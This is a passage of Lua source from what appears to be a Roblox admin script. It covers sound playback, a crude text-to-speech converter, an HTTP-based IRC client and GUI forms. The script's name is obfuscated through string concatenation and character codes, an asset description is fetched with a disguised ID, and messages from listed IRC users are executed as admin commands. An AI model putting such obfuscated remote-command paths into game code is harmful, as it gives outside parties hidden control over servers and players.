3320 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3321 end
3322 end
3323
3324 if not CORE:NilPlayer(TellSync) then
3325 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3326 end
3327end
3328
3329function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3330 if not Volume then Volume = 0.5 end
3331 if not Pitch then Pitch = 1 end
3332 if tonumber(ID) then ID = "rbxassetid://"..ID end
3333 if Looped == nil then Looped = false end
3334
3335 local Sound = Instance.new("Sound", Parent)
3336 Sound.Pitch = Pitch
3337 Sound.Volume = Volume
3338 Sound.SoundId = ID
3339 Sound.Looped = Looped
3340 return Sound
3341end
3342
3343function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3344 if not Player or not ID then return nil end
3345 if NotifySounds[ID] then ID = NotifySounds[ID] end
3346 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3347 if Settings.EnableSounds or OverrideSettings then
3348 coroutine.wrap(function()
3349 wait()
3350 ClientSound:Play()
3351 Delay(5, function() ClientSound:Destroy() end)
3352 end)()
3353 end
3354 return Sound
3355end
3356
3357function SOUND:BindButton(Button)
3358 if not Button then return end
3359 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3360 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3361end
3362
3363function SOUND:StopGlobalSound()
3364 if Sound and Sound.Parent then
3365 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3366 Sound.Parent:Destroy()
3367 end
3368
3369 Sound:Stop()
3370 Sound:Destroy()
3371 Sound.SoundId = ""
3372 end
3373end
3374
3375function SOUND:PlayGlobalSound(ID, ShowInfo)
3376 SOUND:StopGlobalSound()
3377 if ShowInfo == nil then ShowInfo = true end
3378 local SoundID = ID
3379 local SoundName = nil
3380 local SoundCreator = nil
3381 local Pitch = 1
3382
3383 for Name,Info in pairs(SoundList) do
3384 if type(SoundID) == "string" then
3385 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3386 SoundID = Info[1]
3387 SoundName = Info[2]
3388 SoundCreator = Info[3]
3389 end
3390 else
3391 break
3392 end
3393 end
3394
3395 if tonumber(SoundID) and not SoundName then
3396 local Info = MARKET:GetItemInfo(SoundID, true)
3397 if Info then
3398 SoundName = Info.Name
3399 SoundCreator = Info.Creator.Name
3400 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3401 SoundID = nil
3402 end
3403 end
3404 end
3405
3406 if tonumber(SoundID) then
3407 if SoundID == 131201443 then Pitch = -1 end
3408 if SoundID == 130775695 then Pitch = 0.8 end
3409 if SoundID == 144035866 then Pitch = 0.8 end
3410
3411 local SoundParent = Server.Workspace
3412 if IsSB then
3413 SoundParent = Instance.new("Script", Workspace)
3414 SoundParent.Name = "M".."ML'S Admin Sound"
3415 end
3416 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3417 Sound.Name = "MML's Admin Sound "..SoundID
3418 Sound:Play()
3419 if ShowInfo == true then
3420 for _,Player in pairs(Server.Players:GetPlayers()) do
3421 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3422 end
3423 end
3424 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3425 end
3426end
3427
3428function SOUND:ConvertText(Text)
3429 Text = string.lower(tostring(Text))
3430 local Letters = {}
3431 local IDs = {}
3432 for Rule,Replace in pairs(TextConverter.Pronounce) do
3433 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3434 end
3435 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3436 local Start, End = string.find(Text, string.lower(Rule))
3437
3438 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3439 Text = string.gsub(Text, string.lower(Rule), Replace)
3440 end
3441 end
3442 for i = 1,#Text do
3443 table.insert(Letters, string.sub(Text,i,i))
3444 end
3445 for Num = 1,#Letters do
3446 if not Letters[Num] then break end
3447 local Letter = Letters[Num]
3448
3449 local function AddLetter()
3450 table.insert(IDs, TextConverter.LetterSounds[Letter])
3451 end
3452
3453 if Letter ~= "~" then
3454 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3455 table.insert(IDs, TextConverter.LetterSounds["oo"])
3456 table.remove(Letters, Num + 1)
3457 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3458 table.insert(IDs, TextConverter.LetterSounds["oo"])
3459 table.remove(Letters, Num + 1)
3460 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3461 table.insert(IDs, TextConverter.LetterSounds["th"])
3462 table.remove(Letters, Num + 1)
3463 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3464 table.insert(IDs, TextConverter.LetterSounds["sh"])
3465 table.remove(Letters, Num + 1)
3466 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3467 table.insert(IDs, TextConverter.LongVowels["e"])
3468 table.remove(Letters, Num + 1)
3469 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3470 table.insert(IDs, TextConverter.LetterSounds["wh"])
3471 table.remove(Letters, Num + 1)
3472 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3473 table.insert(IDs, TextConverter.LetterSounds["ch"])
3474 table.remove(Letters, Num + 1)
3475 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3476 table.insert(IDs, TextConverter.LetterSounds["f"])
3477 table.remove(Letters, Num + 1)
3478 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3479 table.insert(IDs, TextConverter.LetterSounds[Num])
3480 Letters[Num + 1] = "j"
3481 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3482 table.insert(IDs, TextConverter.LetterSounds["oo"])
3483 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3484 table.insert(IDs, TextConverter.LongVowels["e"])
3485 table.remove(Letters, Num + 1)
3486 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3487 table.insert(IDs, TextConverter.LongVowels["e"])
3488 table.remove(Letters, Num + 1)
3489 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3490 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3491 table.insert(IDs, TextConverter.LetterSounds["s"])
3492 Letters[Num + 1] = "~"
3493 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3494 table.insert(IDs, TextConverter.LongVowels[Letter])
3495 Letters[Num + 2] = "~"
3496 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3497 table.insert(IDs, TextConverter.LongVowels["i"])
3498 Letters[Num + 1] = "~"
3499 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3500 table.insert(IDs, TextConverter.LongVowels["o"])
3501 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3502 table.insert(IDs, TextConverter.LongVowels["i"])
3503 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3504 AddLetter()
3505 table.remove(Letters, Num + 1)
3506 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3507 Letters[Num] = "~"
3508 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3509 AddLetter()
3510 table.remove(Letters, Num + 1)
3511 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3512 AddLetter()
3513 table.remove(Letters, Num + 1)
3514 elseif Letters[Num+1] == Letter then
3515 table.remove(Letters, Num)
3516 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3517 AddLetter()
3518 table.remove(Letters, Num)
3519 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3520 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3521 elseif TextConverter.LetterSounds[Letter] then
3522 AddLetter()
3523 elseif STRING:IsSpacer(Letter) then
3524 table.insert(IDs, "Rest")
3525 end
3526 end
3527 end
3528
3529 return IDs
3530end
3531
3532function SOUND:StopSpeaking() coroutine.wrap(function()
3533 NoSpeak = true
3534 wait(1)
3535 NoSpeak = false
3536 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3537 if Obj.Name == "M".."M".."L Speak Sound" then
3538 Obj:Destroy()
3539 end
3540 end
3541end)() end
3542
3543function SOUND:SayConvertedText(IDs, Parent)
3544 if not Parent then Parent = Server.Workspace end
3545 local Sounds = {}
3546 for _,Data in pairs(IDs) do
3547 if NoSpeak and Parent == Server.Workspace then
3548 break
3549 end
3550 local Length = 0.3
3551 if Data ~= "Rest" then
3552 local ID = Data[1]
3553 Length = Data[2]
3554
3555 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3556 Sound.Name = "MML Speak Sound"
3557 table.insert(Sounds, Sound)
3558 Sound:Play()
3559 if Length then
3560 coroutine.wrap(function()
3561 wait(Length)
3562 Sound:Stop()
3563 end)()
3564 end
3565 end
3566 if not Length then Length = 0.3 end
3567 wait(Length/2)
3568 end
3569 coroutine.wrap(function()
3570 wait(1)
3571 for _,Sound in pairs(Sounds) do
3572 Sound:Destroy()
3573 end
3574 end)()
3575end
3576
3577local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3578
3579function SOUND:BeepPlayer(Player)
3580 if Player:FindFirstChild("PlayerGui") then
3581 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3582 Beep.Name = "Annoy"
3583 Beep:Play()
3584 end
3585end
3586
3587function SOUND:ClearInfo()
3588 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3589end
3590
3591-- IRC functions --
3592
3593function IRC:GenerateName()
3594 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3595end
3596
3597function IRC:AddChat(Name, Data, IsError)
3598 if not IsError then IsError = false end
3599 CORE:Log(IRC.Logs, Name, Data)
3600 table.insert(IRC.Chats, {Name, Data, IsError})
3601 IRC.MessageAdded:Fire(Name, Data, IsError)
3602end
3603
3604function IRC:Post(URL,Data)
3605 if Data and Data ~= "" then
3606 local Suc,Resp = ypcall(function()
3607 return Server.HS:PostAsync(
3608 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3609 Data,
3610 Enum.HttpContentType.ApplicationUrlEncoded
3611 )
3612 end)
3613 if not Suc then
3614 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3615 return false
3616 end
3617 IRC.SessionCounter = IRC.SessionCounter + 1
3618 return Resp
3619 else
3620 IRC:AddChat("[ CLIENT ]", "Unknown error")
3621 end
3622end
3623
3624function IRC:Send(Data)
3625 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3626end
3627
3628function IRC:GetData()
3629 return IRC:Post("s","&s="..IRC.SessionID)
3630end
3631
3632function IRC:Connect()
3633 return IRC:Post("n","&nick="..IRC.NickName)
3634end
3635
3636function IRC:Join(Channel)
3637 if not Channel then
3638 AddChat("[ CLIENT ]", "No channel specified!")
3639 return false
3640 else
3641 local Channel = string.lower(Channel)
3642 if string.sub(Channel,1,1) ~= "#" then
3643 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3644 return false
3645 end
3646 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3647 IRC:Send("JOIN "..Channel)
3648 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3649 return true
3650 end
3651end
3652
3653function IRC:Pong(Data)
3654 return IRC:Send("PONG :"..Data)
3655end
3656
3657function IRC:Quit(Reason)
3658 IRC.Stop = true
3659 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3660end
3661
3662function IRC:ReceiveData()
3663 IRC.Stop = false
3664 local Data = IRC:GetData()
3665 if Data then
3666 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3667 end
3668 while Data and not Stop do
3669 local Data = IRC:GetData()
3670 if Data and #Data > 0 then
3671 IRC:HandleResponse(REMOTE:Decode(Data))
3672 end
3673 wait(2) -- Don't spam the server
3674 end
3675 if not Data then
3676 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3677 end
3678 if Stop == true then
3679 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3680 end
3681end
3682
3683function IRC:ConnectToServer(Server)
3684 if Connected then
3685 if not IRC.Servers[Server] then
3686 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3687 return false
3688 end
3689 IRC:Quit("New Connection")
3690 end
3691 local Response = IRC:Connect()
3692 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3693 local Data = REMOTE:Decode(Response)
3694 IRC.SessionID = Data[2]
3695 wait(1)
3696 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3697 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3698 IRC:Quit()
3699 IRC:ConnectToServer(Server)
3700 end
3701 IRC.Connected = true
3702 IRC:Join(Settings.IRCChannel)
3703 IRC:ReceiveData()
3704 IRC.Connected = false
3705 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3706end
3707
3708function IRC:FindUser(UserName)
3709 for UserID,User in pairs(IRC.Users) do
3710 if string.lower(User) == string.lower(UserName) then
3711 return UserID
3712 end
3713 end
3714 return nil
3715end
3716
3717function IRC:HandleResponse(Data)
3718 if type(Data) ~= "table" then
3719 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3720 ypcall(function()
3721 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3722 end)
3723 return false
3724 end
3725 for _,Output in pairs(Data) do
3726 if type(Output) == "table" and Output[2] then
3727 local ID = string.upper(Output[2])
3728 if not IRC.Ignore[ID] then
3729 if ID == "PING" then
3730 IRC:Pong(Output[4][1])
3731 elseif ID == "PRIVMSG" then
3732 local SenderDetails = Output[3]
3733 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3734 local Channel = string.lower(Output[4][1])
3735 if Channel == IRC.NickName then
3736 Channel = Sender
3737 -- TODO: Handle PM's
3738 end
3739 local Message = Output[4][2]
3740 if Message ~= nil then
3741 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3742 if string.find(Message,":") then
3743 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3744 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3745 IRC:AddChat(IRCUser, IRCMessage)
3746 end
3747 else
3748 IRC:AddChat("[ IRC ] "..Sender,Message)
3749 for _,Name in pairs(Settings.IRCCommandExecuters) do
3750 if string.lower(Name) == string.lower(Sender) then
3751 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3752 break
3753 end
3754 end
3755 end
3756 else
3757 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3758 end
3759 elseif ID == "NICK" then
3760 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3761 -- change nickname?
3762 elseif ID == "433" or ID == "451" then
3763 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3764 IRC:Quit("Nickname in use, rejoining with new name")
3765 IRC.NickName = IRC:GenerateName()
3766 wait(2) -- wait for old sessions to end
3767 IRC:ConnectToServer(Settings.IRCServer)
3768 elseif ID == "353" then
3769 if Data[4][4][4] then
3770 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3771 table.insert(IRC.Users, Output)
3772 end
3773 end
3774 elseif ID == "QUIT" or ID == "PART" then
3775 for User in string.gmatch(Data[1][3], "[^!~]+") do
3776 if IRC:FindUser(User) then
3777 IRC:AddChat("[ IRC ]", User.." has left")
3778 table.remove(IRC.Users, IRC:FindUser(User))
3779 end
3780 end
3781 elseif ID == "JOIN" then
3782 for User in string.gmatch(Data[1][3], "[^!~]+") do
3783 if not string.find(User, "qwebirc") then
3784 IRC:AddChat("[ IRC ]", User.." has joined")
3785 table.insert(IRC.Users,w)
3786 end
3787 end
3788 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3789 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3790 --IRC:Quit("Connection lost")
3791 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3792 --IRC:ConnectToServer(Settings.IRCServer)
3793 elseif IRC.Codes[ID] then
3794 --print(ID)
3795 --print(Data[i][4][2])
3796 --print(Data[i][4][2])
3797 elseif ID == "KICK" then
3798 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3799 IRC:Quit("Kicked from IRC")
3800 elseif ID then
3801 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3802 else
3803 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3804 end
3805 end
3806 else
3807 if Output == false then return false end -- sneeky server
3808 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3809 end
3810 end
3811end
3812
3813-- GUI functions --
3814
3815function GUI:GetColor(ColorName)
3816 if not ColorName then ColorName = Settings.ColorScheme end
3817 return Colors[string.upper(ColorName)]
3818end
3819
3820function GUI:ContrastColor(Color)
3821 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3822 if not Color then Color = GUI:GetColor() end
3823 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3824end
3825
3826
3827function GUI:GetNameColor(Name)
3828 local Val = 0
3829 for i = 1, #Name do
3830 local CVal = string.byte(string.sub(Name, i, i))
3831 local RevIndex = #Name - i + 1
3832 if #Name%2 == 1 then
3833 RevIndex = RevIndex - 1
3834 end
3835 if RevIndex%4 >= 2 then
3836 CVal = -CVal
3837 end
3838 Val = Val + CVal
3839 end
3840 local Index = Val%8 + 1
3841
3842 return BrickColor.new(ChatColors[Index])
3843end
3844
3845function GUI:Color3ToHex(Color)
3846 local function ConvertNumber(Number)
3847 local HexString = "0123456789abcdef"
3848 local Byte = ""
3849 while Number > 0 do
3850 local Calc = math.fmod(Number, 16)
3851 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3852 Number = math.floor(Number / 16)
3853 end
3854 if Calc == "" then
3855 Byte = "00"
3856 elseif #Byte == 1 then
3857 Byte = "0"..Byte
3858 elseif Byte == "" then
3859 Byte = "00"
3860 end
3861 return Byte
3862 end
3863 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3864end
3865
3866function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3867 if not Player then return nil end
3868 if not Player:FindFirstChild("PlayerGui") then return nil end
3869 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3870 if not TitleText then TitleText = "Unknown" end
3871 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3872 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3873 if not IconID then IconID = 19919809 end
3874 if ShowFormButtons == nil then ShowFormButtons = true end
3875 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3876 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3877 if AutoOffset == nil then AutoOffset = true end
3878 if Icons[IconID] then IconID = Icons[IconID] end
3879 if TweenPosition == nil then TweenPosition = true end
3880 if NoModal == nil then NoModal = false end
3881 if NoScrollFrame == nil then NoScrollFrame = false end
3882
3883 local IsClosed = false
3884 local Minus = nil
3885 local Offset = 0
3886 local ContentType = "ScrollingFrame"
3887 local TweenSpeed = 0.3
3888
3889 if AutoOffset then
3890 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3891 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3892 if Item.IsActive.Value == true then
3893 if Item.IsTrueForm.Value == true then
3894 Offset = Offset + 50
3895 end
3896 end
3897 end
3898 end
3899 end
3900
3901 if NoScrollFrame == true then
3902 ContentType = "Frame"
3903 end
3904
3905 SOUND:PlayNotification(Player, 155331654)
3906
3907 local Position = Position + UDim2.new(0,Offset,0,Offset)
3908 local MinimizePos = Position
3909
3910 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3911 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3912 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3913
3914 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3915 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3916 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3917 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3918 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3919 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3920 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3921 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3922 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3923
3924 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3925 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3926 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3927 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3928 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3929
3930 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3931
3932 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3933
3934 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3935 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3936 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3937 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3938 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3939 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3940
3941 if Settings.EnableTaskBar then
3942 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3943 else
3944 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3945 Title.Size = UDim2.new(1, -95, 0, 25)
3946 end
3947
3948 if not ShowFormButtons then
3949 X:Destroy()
3950 TitleEnd:Destroy()
3951 Title.Size = UDim2.new(1, -55, 0, 25)
3952 end
3953
3954 local function CloseForm()
3955 if IsClosed == false then
3956 IsActive.Value = false
3957 IsClosed = true
3958 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) if SG then SG:Destroy() end end) end)
3959 Closed:Fire()
3960 SOUND:PlayNotification(Player, 206375138)
3961 end
3962 end
3963
3964 local function MinimizeForm()
3965 if IsActive.Value == true then
3966 IsActive.Value = false
3967 Minimized:Fire()
3968 MinimizePos = Dragger.Position
3969 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3970 end
3971 end
3972
3973 local function RestoreForm()
3974 if IsActive.Value == false then
3975 IsActive.Value = true
3976 Restored:Fire()
3977 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3978 end
3979 end
3980
3981 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3982 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3983
3984 Close.OnInvoke = CloseForm
3985 Minimize.OnInvoke = MinimizeForm
3986 Restore.OnInvoke = RestoreForm
3987
3988 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3989
3990 if TaskBar then
3991 TaskBar:WaitForChild("AddForm")
3992 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3993 end
3994
3995 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3996end
3997
3998function GUI:CoreGui(Player, Type, Enable)
3999 local Parent = Player:FindFirstChild("Backpack")
4000 if not Parent then Parent = Player.Backpack end
4001 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
4002end
4003
4004function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime, Speaker)
4005 if not Player or not Player:IsA("Player") then return nil end
4006 if BodyText == "" then return nil end
4007 if not Player:FindFirstChild("PlayerGui") then return nil end
4008
4009 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4010 local TextColor = GUI:GetColor(MessageSplit[1])
4011 if TextColor then BodyText = MessageSplit[2] end
4012 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4013
4014 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4015 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4016
4017 if Frame then
